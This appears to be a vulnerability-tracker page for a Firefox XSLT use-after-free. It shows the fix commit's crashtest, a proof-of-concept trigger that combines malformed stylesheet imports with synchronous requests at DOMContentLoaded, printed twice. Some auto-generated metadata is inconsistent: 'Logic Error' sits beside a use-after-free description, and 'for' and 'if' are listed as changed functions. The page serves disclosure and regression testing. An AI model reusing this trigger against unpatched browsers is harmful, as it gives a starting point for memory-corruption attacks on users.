PatchGap
Firefox · DOM

CVE-2026-117924

Logic Error in DOM
High firefox Logic Error 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impacthigh
DescriptionUse-after-free in the XSLT component
ComponentDOM
Bug ClassLogic Error
Tracker2079783
Fix commitdf94f2f7b9ec (firefox) +50/-0
CISA KEVNot listed
CreditedMozilla
Disclosed2026-10-27

Changed Functions

FunctionChangeNotes
for
dom/xslt/crashtests/2079783.html
 modified
if
dom/xslt/crashtests/2079783.html
 modified

Files Changed

  • dom/xslt/crashtests/2079783-blank.txt
  • dom/xslt/crashtests/2079783-c.xsl
  • dom/xslt/crashtests/2079783-g.xsl
  • dom/xslt/crashtests/2079783-p.xsl
  • dom/xslt/crashtests/2079783-source.xml
  • dom/xslt/crashtests/2079783.html
  • dom/xslt/crashtests/crashtests.list

Patch

view commit
diff --git a/dom/xslt/crashtests/2079783-blank.txt b/dom/xslt/crashtests/2079783-blank.txt
new file mode 100644
index 00000000000..ce013625030
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-blank.txt
@@ -0,0 +1 @@
+hello
diff --git a/dom/xslt/crashtests/2079783-c.xsl b/dom/xslt/crashtests/2079783-c.xsl
new file mode 100644
index 00000000000..bf9b1f7d443
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-c.xsl
@@ -0,0 +1,4 @@
+<?xml version="1.0"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+<xsl:import href="2079783-g.xsl"/>
+</oops>
diff --git a/dom/xslt/crashtests/2079783-g.xsl b/dom/xslt/crashtests/2079783-g.xsl
new file mode 100644
index 00000000000..39c1cb64ab6
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-g.xsl
@@ -0,0 +1,3 @@
+<?xml version="1.0"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+</oops>
diff --git a/dom/xslt/crashtests/2079783-p.xsl b/dom/xslt/crashtests/2079783-p.xsl
new file mode 100644
index 00000000000..1b12f5c262c
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-p.xsl
@@ -0,0 +1,5 @@
+<?xml version="1.0"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+<xsl:import href="2079783-c.xsl"/>
+<xsl:template match="/"><html/></xsl:template>
+</xsl:stylesheet>
diff --git a/dom/xslt/crashtests/2079783-source.xml b/dom/xslt/crashtests/2079783-source.xml
new file mode 100644
index 00000000000..edfcf115432
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-source.xml
@@ -0,0 +1,3 @@
+<?xml version="1.0"?>
+<?xml-stylesheet type="text/xsl" href="2079783-p.xsl"?>
+<r/>
diff --git a/dom/xslt/crashtests/2079783.html b/dom/xslt/crashtests/2079783.html
new file mode 100644
index 00000000000..72a06529db9
--- /dev/null
+++ b/dom/xslt/crashtests/2079783.html
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<html class="reftest-wait">
+<body>
+<script>
+let fired = false;
+function onDCL() {
+  if (fired) return;
+  fired = true;
+  for (let i = 0; i < 5; i++) {
+    let x = new XMLHttpRequest();
+    x.open("GET", "2079783-blank.txt?" + i, false);
+    try { x.send(); } catch (e) {}
+  }
+}
+let f = document.createElement("iframe");
+f.src = "2079783-source.xml";
+f.addEventListener("load", () => {
+  setTimeout(() => document.documentElement.classList.remove("reftest-wait"), 0);
+});
+document.body.appendChild(f);
+let hooked = false;
+function poll() {
+  let d = f.contentDocument;
+  if (d && d.contentType != "text/html") {
+    d.addEventListener("DOMContentLoaded", onDCL);
+    hooked = true;
+  }
+  if (!hooked) setTimeout(poll, 0);
+}
+poll();
+</script>
+</body>
+</html>
diff --git a/dom/xslt/crashtests/crashtests.list b/dom/xslt/crashtests/crashtests.list
index 316bf3729e6..4087e61bfd8 100644
--- a/dom/xslt/crashtests/crashtests.list
+++ b/dom/xslt/crashtests/crashtests.list
@@ -32,3 +32,4 @@ pref(dom.xslt.enabled,true) HTTP load 1430818.sjs
 pref(dom.xslt.enabled,true) HTTP load 1941002-1.html
 pref(dom.xslt.enabled,true) HTTP load 1941002-2.html
 pref(dom.xslt.enabled,true) HTTP load 1941002-3.html
+pref(dom.xslt.enabled,true) HTTP load 2079783.html
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/dom/xslt/crashtests/2079783-blank.txt b/dom/xslt/crashtests/2079783-blank.txt
new file mode 100644
index 00000000000..ce013625030
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-blank.txt
@@ -0,0 +1 @@
+hello
diff --git a/dom/xslt/crashtests/2079783-c.xsl b/dom/xslt/crashtests/2079783-c.xsl
new file mode 100644
index 00000000000..bf9b1f7d443
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-c.xsl
@@ -0,0 +1,4 @@
+<?xml version="1.0"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+<xsl:import href="2079783-g.xsl"/>
+</oops>
diff --git a/dom/xslt/crashtests/2079783-g.xsl b/dom/xslt/crashtests/2079783-g.xsl
new file mode 100644
index 00000000000..39c1cb64ab6
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-g.xsl
@@ -0,0 +1,3 @@
+<?xml version="1.0"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+</oops>
diff --git a/dom/xslt/crashtests/2079783-p.xsl b/dom/xslt/crashtests/2079783-p.xsl
new file mode 100644
index 00000000000..1b12f5c262c
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-p.xsl
@@ -0,0 +1,5 @@
+<?xml version="1.0"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+<xsl:import href="2079783-c.xsl"/>
+<xsl:template match="/"><html/></xsl:template>
+</xsl:stylesheet>
diff --git a/dom/xslt/crashtests/2079783-source.xml b/dom/xslt/crashtests/2079783-source.xml
new file mode 100644
index 00000000000..edfcf115432
--- /dev/null
+++ b/dom/xslt/crashtests/2079783-source.xml
@@ -0,0 +1,3 @@
+<?xml version="1.0"?>
+<?xml-stylesheet type="text/xsl" href="2079783-p.xsl"?>
+<r/>
diff --git a/dom/xslt/crashtests/2079783.html b/dom/xslt/crashtests/2079783.html
new file mode 100644
index 00000000000..72a06529db9
--- /dev/null
+++ b/dom/xslt/crashtests/2079783.html
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<html class="reftest-wait">
+<body>
+<script>
+let fired = false;
+function onDCL() {
+  if (fired) return;
+  fired = true;
+  for (let i = 0; i < 5; i++) {
+    let x = new XMLHttpRequest();
+    x.open("GET", "2079783-blank.txt?" + i, false);
+    try { x.send(); } catch (e) {}
+  }
+}
+let f = document.createElement("iframe");
+f.src = "2079783-source.xml";
+f.addEventListener("load", () => {
+  setTimeout(() => document.documentElement.classList.remove("reftest-wait"), 0);
+});
+document.body.appendChild(f);
+let hooked = false;
+function poll() {
+  let d = f.contentDocument;
+  if (d && d.contentType != "text/html") {
+    d.addEventListener("DOMContentLoaded", onDCL);
+    hooked = true;
+  }
+  if (!hooked) setTimeout(poll, 0);
+}
+poll();
+</script>
+</body>
+</html>
diff --git a/dom/xslt/crashtests/crashtests.list b/dom/xslt/crashtests/crashtests.list
index 316bf3729e6..4087e61bfd8 100644
--- a/dom/xslt/crashtests/crashtests.list
+++ b/dom/xslt/crashtests/crashtests.list
@@ -32,3 +32,4 @@ pref(dom.xslt.enabled,true) HTTP load 1430818.sjs
 pref(dom.xslt.enabled,true) HTTP load 1941002-1.html
 pref(dom.xslt.enabled,true) HTTP load 1941002-2.html
 pref(dom.xslt.enabled,true) HTTP load 1941002-3.html
+pref(dom.xslt.enabled,true) HTTP load 2079783.html
Loading diff…
On This Page